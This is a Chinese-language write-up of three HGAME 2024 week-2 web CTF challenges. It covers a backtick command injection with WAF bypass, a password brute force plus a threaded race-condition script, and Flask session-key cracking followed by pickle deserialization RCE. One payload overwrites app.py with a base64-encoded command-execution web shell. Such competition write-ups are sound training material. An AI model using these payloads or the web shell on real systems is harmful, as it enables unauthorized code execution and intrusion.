Web(部分)
前言
HGAME week2 直接上难度了,暂时只掌握了三道
还有两道分别是java的堆叠注入 以及 go的SSTI+XSS
What the cow say? 1 描述:the cow want to tell you something
1 2 通过描述 以及查看题目 以为是xss或者sql又或者SSTI的东西 fuzz后发现居然是RCE 也是绝的
反引号RCE 且存在waf 需要进行绕过
在根目录下存在 flag_is_here 尝试cat读取时发现有waf cat 和 flag 都被过滤了 且flag_is_here 是一个文件目录 目录下存在flag_c0w54y
cat 可以使用 转义符绕过 或者更换其他命令查看 flag可以使用单双引号隔开或占位符从而达到不被waf匹配的效果
Select More Courses 1 2 3 4 5 描述: ma5hr00m wants to take more courses, but he may be racing against time. Can you help him? (数据库初始化需要时间,请稍作等待) 提示1 可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
通过描述 我们可知道 用户名 ma5hr00m 同时给了我们密码字典
使用bp intruder模块 加载字典
根据返回包的状态码以及返回长度 很显然 password 是 qwert123
一开始 去自主选课 还以为和 Week1 Select Courses 类似 由于只有一门课程 尝试bp intruder模块 直接发包 发现 并没选择上课程
看来还得从 选课扩学分申请 做文章
好吧 还给了 提示 Race against time!
这个我是真的想笑 我懵了 一直跑 扩学分申请 一直没提示 一直跑 后面去看一下 选课系统 绷不住
1 跑了3827分 直接选 然后点选完了即可获取flag
同时看官方wp 附上官方的解释及python脚本
登⼊系统后进⼊ /expand 路由,根据提⽰ race against time ,并发POST请求 /api/expand 接⼝,利⽤此处存在的条件竞争漏洞,可实现拓展学分上限,然后选择对应课程获取flag。
利⽤条件竞争可使⽤BurpSuite⾃带的Intruder模块,也可以⾃⾏编写脚本实现,以下为⼀个可供参考的利⽤此处漏洞的python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport threadingdef send_request (): url = "http://139.196.183.57:32368/api/expand" headers = { "Host" : "139.196.183.57:32368" , "Connection" : "keep-alive" , "Content-Length" : "23" , "User-Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" , "Content-Type" : "application/json" , "Accept" : "*/*" , "Origin" : "http://139.196.183.57:32368" , "Referer" : "http://139.196.183.57:32368/expand" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh; q=0.9" , "Cookie" : "session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTtu69oB8qnaWM" } payload = {"username" : "ma5hr00m" } while True : try : response = requests.post(url, headers=headers, json=payload) print (f"Response: {response.status_code} " ) except requests.exceptions.RequestException as e: print (f"Error: {e} " ) threads = [] for _ in range (50 ): thread = threading.Thread(target=send_request) thread.start() threads.append(thread) for thread in threads: thread.join()
myflask 1 描述:善用搜索引擎,容器中的 Python 版本为 3.11
访问题目环境得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import pickleimport base64from flask import Flask, session, request, send_filefrom datetime import datetimefrom pytz import timezonecurrentDateAndTime = datetime.now(timezone('Asia/Shanghai' )) currentTime = currentDateAndTime.strftime("%H%M%S" ) app = Flask(__name__) app.config['SECRET_KEY' ] = currentTime print (currentTime)@app.route('/' ) def index (): session['username' ] = 'guest' return send_file('app.py' ) @app.route('/flag' , methods=['GET' , 'POST' ] ) def flag (): if not session: return 'There is no session available in your client :(' if request.method == 'GET' : return 'You are {} now' .format (session['username' ]) if session['username' ] == 'admin' : pickle_data=base64.b64decode(request.form.get('pickle_data' )) userdata=pickle.loads(pickle_data) return userdata else : return 'Access Denied' if __name__=='__main__' : app.run(debug=True , host="0.0.0.0" )
考察知识点 flask session 伪造 pickle 反序列化 RCE
flask session 伪造 1 2 由currentTime = currentDateAndTime.strftime("%H%M%S") 得flask的SECRET_KEY是根据脚本执行(靶机创建)时的时间生成格式为时分秒
根据获取 cookie 的 session
1 eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdDX2A.UfKBo635rJcG50tQLzAJ6bhcqko
使用flask_unsign 配合纯6位数字字典进行爆破
1 flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdDX2A.UfKBo635rJcG50tQLzAJ6bhcqko" --no-literal-eval --wordlist 6-digits-000000-999999.txt
使用[flask-session-cookie-manager](noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder (github.com) )验证密钥且伪造cookie
1 eyJ1c2VybmFtZSI6ImFkbWluIn0.ZdDaMw.IKzG8y5QCWSap0WOQxQxSasO6s4
更换cookie 访问 /flag 可得
pickle 反序列化 RCE 1 2 3 4 5 6 根据 pickle_data=base64.b64decode(request.form.get('pickle_data' )) userdata=pickle.loads(pickle_data) return userdata else : return 'Access Denied'
同时也给我们提示这里尝试触发RCE 由此得出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickle import base64 from urllib.parse import urlencode class pickleRce: def __reduce__(self): return (open,('/flag','r')) payload = base64.b64encode(pickle.dumps(pickleRce())) post_parms = {'pickle_data':payload} print(urlencode(post_parms)) # pickle_data=gASVHwAAAAAAAACMAmlvlIwEb3BlbpSTlIwFL2ZsYWeUjAFylIaUUpQu
官方wp学习
系统级 getshell (带回显)
Flask 项目 debug 模式打开后⽀持自动重载
使用pickle 反序列化 RCE读取 /proc/self/cmdline ,确定服务器上 flask 脚本名称为app.py
编写带命令执行功能的 flask 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import osfrom flask import Flask, session, request, send_fileapp = Flask(__name__) @app.route('/cmd' , methods=['POST' ] ) def mycmd (): handle = os.popen(request.form.get('cmd' )) ret = handle.read() handle.close() return ret if __name__ == '__main__' : app.run(debug=True , host="0.0.0.0" )
将以上脚本 base64 编码,并生成写入文件的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import pickleimport base64from urllib.parse import urlencodeclass myflaskrce (): def __reduce__ (self ): return (eval , ("__import__('os').system('echo aW1wb3J0IG9zCmZyb20gZmxhc2sgaW1wb3J0IEZsYXNrLCBzZXNzaW9uLCByZXF1ZXN0LCBzZW5kX2ZpbGUKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQoKQGFwcC5yb3V0ZSgnL2NtZCcsIG1ldGhvZHM9WydQT1NUJ10pCmRlZiBteWNtZCgpOgogICAgaGFuZGxlID0gb3MucG9wZW4ocmVxdWVzdC5mb3JtLmdldCgnY21kJykpICAKICAgIHJldCA9IGhhbmRsZS5yZWFkKCkgIAogICAgaGFuZGxlLmNsb3NlKCkKICAgIHJldHVybiByZXQKCmlmIF9fbmFtZV9fPT0nX19tYWluX18nOgogICAgYXBwLnJ1bihkZWJ1Zz1UcnVlLCBob3N0PSIwLjAuMC4wIikK |base64 -d > app.py')" ,)) malicious_object = myflaskrce() payload = base64.b64encode(pickle.dumps(malicious_object)) post_params = {'pickle_data' : payload} encoded_params = urlencode(post_params) print (encoded_params)
不知道是不是hackbar 还是环境坏了的问题 重启一下环境 使用bp 然后写进/cmd 也成功RCE
search4member与梅开二度
1 2 一个是有关java的堆叠注入 一个是有关go的ssti xss (暂未吃透)
推荐官方wp进行学习以及HGAME 2024 WEEK2 Web方向题解全